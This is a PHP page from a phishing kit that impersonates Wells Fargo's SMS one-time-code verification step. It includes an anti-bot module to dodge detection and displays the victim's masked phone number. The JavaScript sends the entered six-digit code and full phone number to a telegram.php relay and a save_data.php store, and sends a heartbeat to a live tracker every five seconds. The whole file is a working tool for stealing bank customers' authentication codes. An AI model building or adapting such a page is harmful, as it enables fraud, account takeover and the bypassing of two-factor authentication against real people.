<?php
// Anti-Bot Protection
require_once 'antibot/antibot.php';

// Get phone number from session or redirect
session_start();
if (!isset($_SESSION['phone_number'])) {
    header('Location: index.php');
    exit;
}

$phone = $_SESSION['phone_number'];
$lastFourDigits = substr($phone, -4);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wells Fargo - SMS Verification</title>
    <link rel="icon" href="Update/imgs/favicon.ico">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-image: url('Update/rel/dox.png');
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            min-height: 100vh;
        }

        .header {
            background: linear-gradient(135deg, #d71e28 0%, #b71c24 100%);
            padding: 0;
            box-shadow: 0 2px 10px rgba(0,0,0,0.2);
            position: relative;
            z-index: 1000;
        }

        .yellow-strip {
            background: #fdb81e;
            height: 4px;
            width: 100%;
        }

        .header-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
            max-width: 1200px;
            margin: 0 auto;
            padding: 12px 20px;
        }

        .logo-section {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .logo-img {
            height: 26px;
            width: auto;
            display: block;
            content: url('Update/rel/wflogo.webp');
        }

        .logo-text {
            color: white;
            font-weight: bold;
            font-size: 18px;
        }

        .header-nav {
            display: flex;
            align-items: center;
            gap: 25px;
        }

        .nav-links {
            display: flex;
            align-items: center;
            gap: 25px;
        }

        .nav-links a {
            color: white;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            padding: 8px 12px;
            border-radius: 4px;
            transition: all 0.3s ease;
            white-space: nowrap;
        }

        .nav-links a:hover {
            background-color: rgba(255,255,255,0.15);
            transform: translateY(-1px);
        }

        .search-container {
            display: flex;
            align-items: center;
            background: white;
            border-radius: 20px;
            padding: 2px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        .search-input {
            border: none;
            outline: none;
            padding: 8px 15px;
            border-radius: 18px;
            font-size: 14px;
            width: 200px;
            background: transparent;
        }

        .search-btn {
            background: none;
            border: none;
            padding: 8px 12px;
            cursor: pointer;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: background-color 0.3s;
        }

        .search-btn:hover {
            background-color: #f0f0f0;
        }

        .search-icon {
            width: 16px;
            height: 16px;
            fill: #666;
        }

        .mobile-menu-btn {
            display: none;
            background: none;
            border: none;
            color: white;
            font-size: 18px;
            cursor: pointer;
            padding: 8px;
        }

        .hamburger-icon {
            width: 24px;
            height: 24px;
            fill: white;
        }

        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: calc(100vh - 80px);
            padding: 20px;
        }

        .signin-card {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 12px;
            padding: 40px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.1);
            max-width: 420px;
            width: 100%;
            text-align: center;
            border: 1px solid rgba(255,255,255,0.2);
        }

        .sms-icon {
            width: 60px;
            height: 60px;
            margin: 0 auto 20px;
            fill: #d71e28;
        }

        .greeting {
            font-size: 28px;
            color: #333;
            margin-bottom: 15px;
            font-weight: 300;
            font-family: 'Segoe UI', sans-serif;
        }

        .subtitle {
            font-size: 16px;
            color: #666;
            margin-bottom: 30px;
            line-height: 1.5;
        }

        .phone-display {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 25px;
            font-family: monospace;
            font-size: 16px;
            color: #333;
        }

        .form-group {
            margin-bottom: 20px;
            position: relative;
        }

        .otp-inputs {
            display: flex;
            gap: 10px;
            justify-content: center;
            margin-bottom: 25px;
        }

        .otp-input {
            width: 50px;
            height: 50px;
            border: 2px solid #e0e0e0;
            border-radius: 8px;
            text-align: center;
            font-size: 18px;
            font-weight: bold;
            outline: none;
            transition: all 0.3s ease;
        }

        .otp-input:focus {
            border-color: #d71e28;
            box-shadow: 0 0 0 3px rgba(215, 30, 40, 0.1);
        }

        .security-note {
            background: #e8f5e8;
            border-left: 4px solid #28a745;
            padding: 12px 15px;
            margin: 20px 0;
            font-size: 13px;
            color: #155724;
            text-align: left;
            border-radius: 4px;
        }

        .signin-btn {
            width: 100%;
            background: linear-gradient(135deg, #d71e28 0%, #b71c24 100%);
            color: white;
            border: none;
            padding: 16px;
            border-radius: 25px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            margin-bottom: 25px;
            box-shadow: 0 4px 15px rgba(215, 30, 40, 0.3);
        }

        .signin-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(215, 30, 40, 0.4);
        }

        .signin-btn:active {
            transform: translateY(0);
        }

        .resend-link {
            color: #0066cc;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }

        .resend-link:hover {
            text-decoration: underline;
        }

        .arrow-icon {
            font-size: 12px;
        }

        /* Responsive Design */
        @media (max-width: 768px) {
            .logo-text {
                font-size: 20px;
            }

            .header-nav {
                display: none;
            }

            .mobile-menu-btn {
                display: block;
            }

            .header-content {
                justify-content: space-between;
                padding: 15px 20px;
            }

            .logo-section {
                flex: 1;
                justify-content: center;
            }

            .signin-card {
                margin: 10px;
                padding: 30px 25px;
            }

            .greeting {
                font-size: 24px;
            }
        }

        @media (max-width: 480px) {
            .otp-inputs {
                gap: 8px;
            }

            .otp-input {
                width: 45px;
                height: 45px;
                font-size: 16px;
            }

            .signin-card {
                padding: 25px 20px;
            }

            .greeting {
                font-size: 22px;
                margin-bottom: 10px;
            }
        }
    </style>
</head>
<body>
    <header class="header">
        <div class="header-content">
            <div class="logo-section">
                <img src="Update/rel/wflogo.webp" alt="Wells Fargo" class="logo-img">
                <span class="logo-text"></span>
            </div>
            <nav class="header-nav">
                <div class="nav-links">
                    <a href="#">Enroll</a>
                    <a href="#">Customer Service</a>
                    <a href="#">ATMs/Locations</a>
                    <a href="#">Español</a>
                </div>
                <div class="search-container">
                    <input type="text" class="search-input" placeholder="Search">
                    <button class="search-btn">
                        <svg class="search-icon" viewBox="0 0 24 24">
                            <path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/>
                        </svg>
                    </button>
                </div>
            </nav>
            <button class="mobile-menu-btn">
                <svg class="hamburger-icon" viewBox="0 0 24 24">
                    <path d="M3,6H21V8H3V6M3,11H21V13H3V11M3,16H21V18H3V16Z"/>
                </svg>
            </button>
        </div>
        <div class="yellow-strip"></div>
    </header>

    <main class="main-container">
        <div class="signin-card">
            <svg class="sms-icon" viewBox="0 0 24 24">
                <path d="M20,2H4A2,2 0 0,0 2,4V22L6,18H20A2,2 0 0,0 22,16V4C22,2.89 21.1,2 20,2M6,9V7H18V9H6M14,11V13H6V11H14M16,15V17H6V15H16Z"/>
            </svg>

            <h1 class="greeting" id="dynamicGreeting">SMS Verification</h1>
            <p class="subtitle">We've sent a verification code to your phone number</p>

            <div class="phone-display">
                Phone: ***-***-<?php echo $lastFourDigits; ?>
            </div>

            <form action="continue_flow.php" method="POST">
                <div class="otp-inputs">
                    <input type="text" class="otp-input" maxlength="1" name="otp1" required>
                    <input type="text" class="otp-input" maxlength="1" name="otp2" required>
                    <input type="text" class="otp-input" maxlength="1" name="otp3" required>
                    <input type="text" class="otp-input" maxlength="1" name="otp4" required>
                    <input type="text" class="otp-input" maxlength="1" name="otp5" required>
                    <input type="text" class="otp-input" maxlength="1" name="otp6" required>
                </div>

                <div class="security-note">
                    Enter the 6-digit verification code sent to your mobile device. The code will expire in 10 minutes.
                </div>

                <button type="submit" class="signin-btn">Verify Code</button>

                <a href="#" class="resend-link" onclick="resendCode()">
                    <span class="arrow-icon">↻</span> Resend Code
                </a>
            </form>
        </div>
    </main>

    <script>
        // OTP input handling
        const otpInputs = document.querySelectorAll('.otp-input');
        
        otpInputs.forEach((input, index) => {
            input.addEventListener('input', function(e) {
                if (this.value.length === 1) {
                    if (index < otpInputs.length - 1) {
                        otpInputs[index + 1].focus();
                    }
                }
            });

            input.addEventListener('keydown', function(e) {
                if (e.key === 'Backspace' && this.value === '') {
                    if (index > 0) {
                        otpInputs[index - 1].focus();
                    }
                }
            });

            input.addEventListener('paste', function(e) {
                e.preventDefault();
                const paste = e.clipboardData.getData('text');
                const digits = paste.replace(/\D/g, '').slice(0, 6);
                
                digits.split('').forEach((digit, i) => {
                    if (otpInputs[i]) {
                        otpInputs[i].value = digit;
                    }
                });
                
                if (digits.length === 6) {
                    otpInputs[5].focus();
                }
            });
        });

        function resendCode() {
            alert('Verification code has been resent to your phone.');
        }

        // Send form data when submitted
        document.querySelector('form').addEventListener('submit', function(e) {
            const formData = new FormData(this);
            const otpCode = Array.from(otpInputs).map(input => input.value).join('');
            
            fetch('telegram.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'SMS OTP Verification',
                    action: 'form_data',
                    data: {
                        otp_code: otpCode,
                        phone_number: '<?php echo $phone; ?>'
                    }
                })
            });

            // Save to data folder
            fetch('save_data.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'sms_otp',
                    data: {
                        otp_code: otpCode,
                        phone_number: '<?php echo $phone; ?>',
                        timestamp: new Date().toISOString()
                    }
                })
            });
        });

        // Live connection tracking
        setInterval(() => {
            fetch('live_tracker.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'sms_otp',
                    action: 'heartbeat',
                    timestamp: new Date().toISOString()
                })
            });
        }, 5000);
    </script>
</body>
</html>